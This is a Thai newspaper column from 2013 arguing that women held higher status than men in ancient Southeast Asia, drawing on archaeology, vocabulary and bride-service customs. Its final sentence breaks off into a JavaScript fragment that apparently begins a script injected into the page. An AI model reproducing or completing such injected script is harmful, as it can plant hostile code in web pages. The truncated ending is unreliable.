มติชนรายวัน ฉบับประจำวันศุกร์ที่ 5 กรกฎาคม 2556

          ผู้หญิงไทยเป็นนายกรัฐมนตรี และเป็นรัฐมนตรีว่าการกระทรวงกลาโหม ไม่ใช่เรื่องใหม่ เป็นเรื่องเก่ามากๆ

          แต่ต่างกันที่เรียกชื่อตำแหน่งใหม่เท่านั้น

          ที่ว่าเป็นเรื่องเก่าก็เพราะยุคดั้งเดิม หญิงเป็นนาย ชายเป็นบ่าว

          ผู้หญิงในภูมิภาคสุวรรณภูมิอุษาคเนย์เมื่อ 3,000 ปีมาแล้ว มีสถานะและบทบาททางสังคมสูงกว่าผู้ชาย

          โดยผู้หญิงเป็นหมอผีหัวหน้าเผ่าพันธุ์ เท่ากับเป็นใหญ่ในพิธีกรรม แล้วเป็นเจ้าของเครื่องมืองานช่าง (ปัจจุบันเรียกงานศิลปะ) ทุกอย่าง เช่น ช่างฟ้อน (รำ), ช่างขับ (ร้อง), ช่างปี่ (แคน), ฯลฯ ผู้ชายไม่มีสิทธิ์ทำสิ่งสำคัญอันประณีตอย่างนี้

          เจ้าแม่โคกพนมดี ชื่อโครงกระดูกผู้หญิงที่เป็นหมอผีหัวหน้าเผ่าพันธุ์ของชุมชนดึกดำบรรพ์ ราว 3,000 ปีมาแล้ว (นักโบราณคดีสมมุติชื่อว่าเจ้าแม่โคกพนมดี ขุดพบที่บ้านโคกพนมดี อ. พนัสนิคม จ. ชลบุรี)

          สิ่งที่แสดงสถานะและบทบาททางสังคมสูงกว่าผู้ชาย คือลูกปัดเปลือกหอยจำนวนมาก และเครื่องประดับสัญลักษณ์ผู้เป็นใหญ่ที่ฝังรวมกับโครงกระดูก

          แม่ เป็นคำร่วมมีในเกือบทุกภาษาของคนเผ่าพันธุ์ต่างๆ ในอุษาคเนย์ แล้วมีความหมายอย่างเดียวกัน หรือใกล้เคียงกัน คือ ผู้เป็นใหญ่, หัวหน้า, ผู้ให้กำเนิดลูก (เมีย ก็น่าจะเลื่อนกลายเสียงจากคำว่า แม่)

          เมื่อจะเรียกสิ่งที่เป็นใหญ่, เป็นหัวหน้า จึงมีคำว่าแม่นำหน้า โดยไม่จำกัดเพศ เช่น แม่น้ำ (ลำน้ำใหญ่สุดบริเวณนั้น), แม่ทัพ (นายทัพ), แม่เหล็ก (แร่หรือโลหะที่มีคุณสมบัติดูดสารแม่เหล็กได้), ฯลฯ

          นาง แปลว่าหัวหน้า, ผู้เป็นใหญ่ ใช้กับเพศหญิง (มีความหมายอย่างเดียวกับนายที่ใช้กับเพศชาย)

          หญิงเป็นนาย ชายเป็นบ่าว คำคล้องจองเก่าแก่นี้ มีมาครั้งไหน? ไม่มีใครบอกได้

          แต่สะท้อนให้เห็นว่าสังคมดั้งเดิมของคนดึกดำบรรพ์สุวรรณภูมิในอุษาคเนย์ หญิงมีอำนาจสูงกว่าชาย (ชายมีอำนาจบ้างเหมือนกัน แต่มีต่ำกว่าหญิง) แล้วเป็นรากเหง้าให้เรียกหญิงชายในพิธีแต่งงานว่า เจ้าสาว-เจ้าบ่าว

          เจ้าสาว หมายถึงหญิงที่เข้าพิธีแต่งงาน

          เจ้าบ่าว หมายถึงชายที่เข้าพิธีแต่งงาน (ซึ่งเป็นหนุ่ม) ต้องมีกำลังวังชาทำงานรับใช้เป็นขี้ข้าในบ้านสาว

          ในพิธีส่งเข้าหอ เจ้าบ่าวต้องเดินเกาะหลังเจ้าสาวที่เดินนำหน้า แล้วต้องเป็นเขยอยู่บ้านเจ้าสาว เพราะเจ้าสาวเป็นผู้รับมรดกบ้านกับที่ดิน และสืบสายตระกูล เจ้าบ่าวต้องเป็นผู้อาศัยรับใช้ในบ้านเจ้าสาวตลอดไป

          “เอาแฮงโต๋ ต่างควายนา” เป็นภาษาลื้อ (สิบสองพันนา) ถอดเป็นคำไทยว่า เอาแรงตัว ต่างควาย เป็นคำพังเพยเพื่อจะอธิบายว่าประเพณีลื้อ เมื่อหญิงชายจะแต่งงานเป็นผัวเมียกัน ชายต้องไปทำงานรับใช้พ่อแม่ปู่ย่าตายายที่อยู่บ้านฝ่ายหญิง ต้องใช้แรงตัวเองของชาย ทำงานเหมือนควายให้ฝ่ายหญิง

          ชาวขมุ ถือว่าบ้านไหนมีลูกสาว บ้านนั้นมั่งคั่งร่ำรวย เพราะต่อไปจะมีบ่าว คือชายมารับใช้ทำงานทำไร่ไถนาเพื่อเป็นเขย (อย่างนี้ทางปักษ์ใต้เรียก เขยอาสา ทางอีสานเรียก เขยสู่)

          เมื่อชายเป็นบ่าวรับใช้บ้านหญิง เพื่อหวังจะแต่งงานเป็นผัวเมียต่อไปข้างหน้าต้องยอมเป็นบ่าวไปจนกว่าเครือญาติฝ่ายหญิงจะยอมรับ ซึ่งต้องใช้เวลานานเป็นปีๆ หรือหลายปีก็ได้ เช่น 5 ปี 10 ปีก็มี

          ระหว่างนี้สังคมยุคนั้นยอมให้ “อยู่ก่อนแต่ง” ได้ แล้วมีลูกก็ได้ แต่ต้องเป็นบ่าวไพร่อยู่ในโอวาทฝ่ายหญิง จะทำขึ้นเสียงไม่ได้var d=document;var s=d.createElement(‘script’);